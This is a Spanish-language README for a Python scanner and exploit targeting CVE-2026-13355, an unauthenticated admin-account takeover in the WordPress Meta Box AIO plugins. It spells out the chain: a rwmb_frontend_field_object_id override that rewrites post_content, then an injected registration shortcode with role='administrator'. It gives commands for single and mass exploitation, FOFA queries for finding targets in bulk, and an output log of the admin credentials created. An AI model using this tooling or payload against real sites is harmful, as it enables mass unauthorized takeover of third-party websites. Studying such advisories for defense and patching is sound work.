
Escáner PoC en Python y exploit para CVE-2026-13355, una escalada de privilegios de administrador no autenticada en los plugins de WordPress Meta Box AIO, con escaneo masivo FOFA.
Prueba de concepto en Python 3: escáner y exploit para CVE-2026-13355 en el paquete de WordPress Meta Box AIO (y las extensiones relacionadas MB Frontend Submission / MB User Profile).
| Plataforma | Plugin de WordPress |
| Componente | Meta Box AIO |
| Afectados | Meta Box AIO ≤ 3.11.0; MB Frontend Submission ≤ 4.5.6; MB User Profile ≤ 3.11.0 |
| Corregido en | Meta Box AIO 3.12.0+ (autorización de Form::process()) |
| CVSS | 9.8 Crítico |
| Autenticación | Sin autenticación |
| CWE | CWE-269 — Gestión inadecuada de privilegios |
| Investigador | h0xilo (Wordfence) |
Fallos encadenados en dos extensiones incluidas permiten la creación de cuentas de administrador sin autenticación:
mbfs) — rwmb_frontend_field_object_id sobrescribe el objetivo del formulario sin autenticación; Form::process() omite user_can_edit(), por lo que los atacantes pueden usar wp_update_post() y sobrescribir post_content en entradas/páginas arbitrarias.mbup) — Los atributos inyectados del shortcode [mb_user_profile_register role="administrator" auto_login="true"] se confían sin validación del rol.Importante: La cadena de explotación requiere un formulario público de mbfs (envío desde el frontend), no formularios mbup de solo inicio de sesión. Muchos resultados de FOFA solo exponen la interfaz de inicio de sesión/registro de mbup — esos se marcan como plugin_mbup_only, no explotables mediante esta cadena.
pip install -r requirements.txtpip install -r requirements.txt
# Objetivo único — comprobar (flujo de terminal en vivo por defecto)
python poc.py -u https://target.example --mode check
# Comprobación masiva (una línea por objetivo salvo --quiet)
python poc.py --list targets.example.txt --mode check --threads 20
# Objetivo único — explotar (necesita URL del formulario mbfs + ID de entrada)
python poc.py -u https://target.example --mode exploit \
--form-url /contact/ --object-id 12 --verify
# Explotación masiva desde la salida de comprobación
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify
Consulta de ejemplo:
body="/wp-content/plugins/meta-box-aio/"
Normalizar una exportación CSV de FOFA:
python fofa_to_list.py -i fofa_export.csv
# escribe list.txt + CSV normalizado (solo local, en gitignore)
python poc.py --list list.txt --mode check --threads 20
Usa --vuln-list exploited.txt en las ejecuciones de exploit para que los aciertos de comprobación en hits.txt no se sobrescriban.
status en la comprobaciónpost_content mediante un formulario mbfs con ?rwmb_frontend_field_object_id=<id>.mbfs de contacto/boletín a menudo carecen de un campo post_content real; la sobrescritura puede fallar igualmente en la práctica..
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Las listas de escaneo locales y los artefactos de ejecución (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) están en .gitignore y no deben confirmarse.
Solo para pruebas de seguridad autorizadas y educación. Eres responsable del cumplimiento de las leyes aplicables y las reglas del programa.
| Opción | Descripción |
|---|
-u, --url | URL base única |
--list | Lista de URLs, CSV normalizado de FOFA (columna url) o candidates.jsonl |
--mode | check o exploit |
--form-url | Página con [mb_frontend_form ...] / mbfs-form |
--object-id | ID de entrada/página para rwmb_frontend_field_object_id |
--paths | Rutas adicionales que rastrear en busca de formularios de frontend |
--username, --email, --password | Credenciales de registro (exploit) |
--shortcode | Carga útil inyectada en post_content (shortcode de registro de admin por defecto) |
--verify | Confirmar mediante /wp-admin/ o wp-login.php tras el registro |
--flow | Transmitir una línea por objetivo en ejecuciones masivas (por defecto con --list) |
--no-flow | Solo resumen de progreso |
--quiet, -q | Salida mínima en consola |
--threads, -j | Concurrencia masiva (por defecto 15) |
--output | Registro JSONL (por defecto cve_2026_13355_results.jsonl) |
--vuln-list | Líneas de aciertos/explotadas en texto (por defecto hits.txt / usar exploited.txt para exploit) |
--candidates-list | JSONL de metadatos de comprobación (por defecto candidates.jsonl) |
| Archivo | Modo | Contenido |
|---|
cve_2026_13355_results.jsonl | ambos | JSON completo por objetivo |
hits.txt | check | URLs con candidate_mbfs |
candidates.jsonl | check | form_url, object_id, indicios de versión |
exploited.txt | exploit | url|user|email|pass|oid=… |
| Estado | Significado |
|---|
candidate_mbfs | Plugin presente + formulario de MB Frontend Submission encontrado (la explotación puede ser posible) |
plugin_mbup_only | Solo formularios de inicio de sesión/registro de User Profile — no es esta cadena de CVE |
plugin_no_frontend_forms | Huella del plugin, sin formularios de frontend rwmb descubiertos |
patched | Versión por encima del rango afectado (cuando es legible) |
no_plugin | Meta Box AIO / extensiones no detectadas |